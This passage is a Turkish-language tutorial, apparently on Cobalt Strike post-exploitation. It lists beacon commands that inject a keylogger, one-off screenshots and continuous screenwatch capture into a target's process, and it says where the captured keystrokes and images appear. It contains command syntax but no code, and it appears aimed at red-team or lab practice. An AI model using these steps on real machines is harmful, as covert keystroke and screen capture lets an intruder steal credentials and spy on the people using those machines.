Target’da keylogger başlatmak istiyorsak :
- keylogger [pid] [x86|x64] (belirtilen process id’ye keylogger inject edilir)
- keylogger (bu komut ile direkt olarak bir temporary process başlatılır ve keylogger buraya inject edilir)
Şimdi sırasıyla tek tek keylogger oluşturup screen shot alalım bakalım gerçekten çalışıyor mu kodlarımız ?
Ben ps ile processleri inceledim ve bir tane process’e inject ettim keyloggeri bakalım noldu ?
Çıktıları görebilmek için View -> Keystrokes’e bakabiliriz
Screenshot kaydı alıp bunu inceleyelim birde : Yine keylogger ile benzer mantık işliyor.Target’da biz screenshot başlatmak istersek :
beacon> screenshot [pid] [x86|x64] (belirtilen process id’ye screenshot inject edilir)
beacon> screenshot (bu komut ile direkt olarak bir temporary process başlatılır ve screenshot buraya inject edilir)View -> Screenshot bakacağız
screenwatch komutu da bizim user’da her zaman screenshot çekmemize yarar.
beacon> screenwatch[pid] [x86|x64] (belirtilen process id’ye screenwatch inject edilir)
beacon> screenwatch (bu komut ile direkt olarak bir temporary process başlatılır ve screenwatch buraya inject edilir)